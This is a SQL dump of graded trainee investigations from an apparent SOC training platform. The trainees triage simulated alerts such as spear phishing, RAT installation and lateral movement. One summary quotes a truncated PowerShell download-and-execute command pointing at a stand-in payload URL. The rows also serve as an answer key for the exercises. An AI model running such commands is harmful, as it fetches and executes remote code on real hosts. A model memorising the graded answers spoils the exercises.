(541, 283, 1468, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-d41d8cd9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:17:56\\nALERT: Persistence through Backdoor Installation [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] backdoor_installer.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:17:58.561Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:15:07', '2026-03-12 20:17:58', 0, NULL),
(542, 283, 1469, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.12\",\"ip-192.168.1.50\",\"hash-d41d8cd9\",\"domain-CORP\",\"artifact_3\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:19:53\\nALERT: Lateral Movement to Wiretap Systems [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.5.12\\n- [IP] 192.168.1.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] CORP\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:19:56.149Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:17:58', '2026-03-12 20:19:56', 0, NULL),
(543, 283, 1470, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"ip-203.0.113.45\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:20:52\\nALERT: Exfiltration of Sensitive Communications [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.10\\n- [IP] 203.0.113.45\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] wiretap_data.zip\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:20:53.053Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:19:56', '2026-03-12 20:20:53', 0, NULL),
(544, 283, 237, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"Activity characteristic of Fileless Malware (fileless virus) has been detected:\\nUsing the IEX(...).DownloadString() command to download and immediately execute a script from the Internet directly in RAM, without saving it to disk. Hidden launch with the -nop and -w hidden flags. Downloading code from a suspicious external resource (http://malicious.example.com/script.ps1 ).\\nThe parent process explorer.exe indicates that the attack started with a user action (for example, opening a phishing document).\",\"artifacts\":\"powershell.exe -c IEX(New-Object Net.WebClient)..., http://malicious.example.com/script.ps1, 192.0.2.123\",\"analysis_answers\":{\"action_taken\":\"Activity characteristic of Fileless Malware (fileless virus) has been detected:\\nUsing the IEX(...).DownloadString() command to download and immediately execute a script from the Internet directly in RAM, without saving it to disk. Hidden launch with the -nop and -w hidden flags. Downloading code from a suspicious external resource (http://malicious.example.com/script.ps1 ).\\nThe parent process explorer.exe indicates that the attack started with a user action (for example, opening a phishing document).\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T21:46:42.285Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 00:51:28', '2026-03-12 21:44:28', '2026-03-12 21:48:00', 0, NULL),
(545, 225, 237, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The explorer.exe ran a powershell command to download malicious file from a malicious website.\",\"artifacts\":\"192.0.2.123, b1946ac92492d2347c6235b4d2611184, http://malicious.example.com/script.ps1\",\"analysis_answers\":{\"action_taken\":\"The explorer.exe ran a powershell command to download malicious file from a malicious website.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-13T02:58:27.960Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:01:00', '2026-03-13 02:53:00', '2026-03-13 03:00:00', 0, NULL),
(546, 225, 233, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The email sender is suspicious and the url is using HTTP that uses port 80. HTTP is not secured and the credentials will show up not encrypted.\",\"artifacts\":\"198.51.100.22, http://secure-bank.com/login\",\"analysis_answers\":{\"action_taken\":\"The email sender is suspicious and the url is using HTTP that uses port 80. HTTP is not secured and the credentials will show up not encrypted.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-13T03:03:30.586Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:05:04', '2026-03-13 03:00:04', '2026-03-13 03:04:00', 0, NULL),
(547, 225, 234, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"Both IPs are internal and the user running the process execution is an admin. No suspicious event indicates malicious intent.\",\"artifacts\":\"10.0.0.20, 10.0.0.25, admin_user, server-02\",\"analysis_answers\":{\"action_taken\":\"Both IPs are internal and the user running the process execution is an admin. No suspicious event indicates malicious intent.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-13T03:30:44.532Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:18:04', '2026-03-13 03:08:04', '2026-03-13 03:31:00', 0, NULL),
(548, 225, 235, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The internal IP address is connecting to a suspicious external IP address. The hostname data-server connecting to IP address 203.0.113.100 is an unusual activity and this should be further investigated.\",\"artifacts\":\"192.168.1.10, 203.0.113.100\",\"analysis_answers\":{\"action_taken\":\"The internal IP address is connecting to a suspicious external IP address. The hostname data-server connecting to IP address 203.0.113.100 is an unusual activity and this should be further investigated.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-15T10:40:40.813Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:39:07', '2026-03-13 03:31:07', '2026-03-15 10:41:00', 0, NULL),
(549, 42, 237, 'investigating', NULL, NULL, NULL, NULL, '2026-03-13 13:17:59', '2026-03-13 10:09:59', '2026-03-13 10:09:59', 0, NULL),
(550, 248, 269, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/13/2026, 4:40:20 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T13:40:59.033Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-13 13:32:23', '2026-03-13 13:40:59', 0, NULL),
(551, 248, 270, 'graded', 90, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/6)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 14/03/2026, 00:40:15\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T21:40:22.436Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/6)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-13 13:40:59', '2026-03-13 21:40:22', 0, NULL),
(552, 232, 1443, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-172.217.18.110\",\"ip-10.0.0.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/13/2026, 9:52:19 PM\\nALERT: Initial Access via Spear Phishing [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 172.217.18.110\\n- [IP] 10.0.0.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [EMAIL] j.smith@aerospace-experts.com\\n- [URL] http://compromised-site.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T16:22:18.840Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-13 19:29:38', '2026-03-13 16:21:38', '2026-03-13 16:22:18', 0, NULL),
(553, 232, 1444, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-3fa8f88c\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:04:03 AM\\nALERT: Execution of Custom Mac Malware [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] 3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\\n- [FILENAME] launchProxy\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T04:34:03.986Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-13 16:22:18', '2026-03-14 04:34:03', 0, NULL),
(554, 232, 1445, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-10.0.5.12\",\"ip-203.0.113.5\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:05:06 AM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 10.0.5.12\\n- [IP] 203.0.113.5\\n- [USERNAME] jdoe\\n- [HASH] 7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T04:35:08.173Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-14 04:34:04', '2026-03-14 04:35:08', 0, NULL),
(555, 297, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-14 16:38:17', '2026-03-14 16:38:17', 0, NULL),
(556, 232, 1366, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:11:24 PM\\nALERT: Suspicious LinkedIn Connection Request [OP: Operation Dream Job]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.10\\n- [EMAIL] john.doe@toptechtalent.com\\n- [IP] 203.0.113.45\\n- [URL] http://maliciouslink.com/joboffer\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T16:41:24.172Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-14 19:45:21', '2026-03-14 16:40:21', '2026-03-14 16:41:24', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(557, 232, 1367, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_3\",\"artifact_2\",\"ip-203.0.113.45\",\"ip-192.168.1.25\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:12:02 PM\\nALERT: Malicious Attachment in Follow-up Email [OP: Operation Dream Job]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 203.0.113.45\\n- [HASH] 7f5a8d7e5b9c4a6d9c3a7a8b5c6d4e5f\\n- [EMAIL] hr@fakesite.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T16:42:01.468Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-14 16:41:24', '2026-03-14 16:42:01', 0, NULL),
(558, 232, 1368, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.25\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:12:31 PM\\nALERT: Establishment of Remote Access Trojan (RAT) [OP: Operation Dream Job]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.25\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] lazarus_rat.dll\\n- [USERNAME] victim_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T16:42:29.922Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-14 16:42:02', '2026-03-14 16:42:29', 0, NULL),
(559, 232, 1369, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.5.23\",\"hash-e99a18c4\",\"artifact_3\"],\"selectedActions\":[\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:13:07 PM\\nALERT: Lateral Movement to Secure Network Segments [OP: Operation Dream Job]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.5.23\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T16:43:07.728Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-14 16:42:30', '2026-03-14 16:43:07', 0, NULL),
(560, 232, 1370, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-14 16:43:07', '2026-03-14 16:43:07', 0, NULL),
(561, 298, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-14 18:38:47', '2026-03-14 18:38:47', 0, NULL),
(562, 296, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-14 21:29:35', '2026-03-14 21:29:35', 0, NULL),
(563, 296, 704, 'investigating', NULL, NULL, NULL, NULL, '2026-03-15 00:38:13', '2026-03-14 21:30:13', '2026-03-14 21:30:13', 0, NULL),
(564, 296, 1466, 'graded', 84, 'Verdict is correct (+40). Missed critical artifacts: ip 203.0.113.45 (2/3). Missed response actions (4/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_4\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 9:33:46 PM\\nALERT: Initial Access via Spear Phishing [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [DOMAIN] update-portal.example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T21:33:53.987Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: ip 203.0.113.45 (2/3). Missed response actions (4/5)\",\"missed_items\":[\"ip: 203.0.113.45\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-15 00:37:46', '2026-03-14 21:32:46', '2026-03-14 21:33:53', 0, NULL),
(565, 34, 237, 'investigating', NULL, NULL, NULL, NULL, '2026-03-15 01:41:24', '2026-03-14 22:35:24', '2026-03-14 22:35:24', 0, NULL),
(566, 300, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-14 23:29:22', '2026-03-14 23:29:22', 0, NULL),
(567, 300, 316, 'investigating', NULL, NULL, NULL, NULL, '2026-03-15 03:05:30', '2026-03-14 23:55:30', '2026-03-14 23:55:30', 0, NULL),
(568, 34, 920, 'investigating', NULL, NULL, NULL, NULL, '2026-03-15 05:47:48', '2026-03-15 02:37:48', '2026-03-15 02:37:48', 0, NULL),
(569, 225, 236, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"A high number of login attempts indicates that this is a brute force attack.\",\"artifacts\":\"192.0.2.45, 203.0.113.5, admin\",\"analysis_answers\":{\"action_taken\":\"A high number of login attempts indicates that this is a brute force attack.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-15T10:50:09.550Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-15 13:46:09', '2026-03-15 10:41:09', '2026-03-15 10:51:00', 0, NULL),
(570, 225, 735, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-192.168.10.5\",\"domain-http://login\",\"artifact_1\"],\"selectedActions\":[\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/15/2026, 9:53:26 PM\\nALERT: Spear Phishing Email Detected with Malicious URL\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 192.168.10.5\\n- [DOMAIN] http://login.examp1e.com/secure\\n- [EMAIL] ceo@examp1e.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T10:53:32.339Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"block_url\",\"close_alert\"],\"strengths\":\"Solid analysis\"}', '2026-03-15 13:58:09', '2026-03-15 10:52:09', '2026-03-15 10:53:32', 0, NULL),
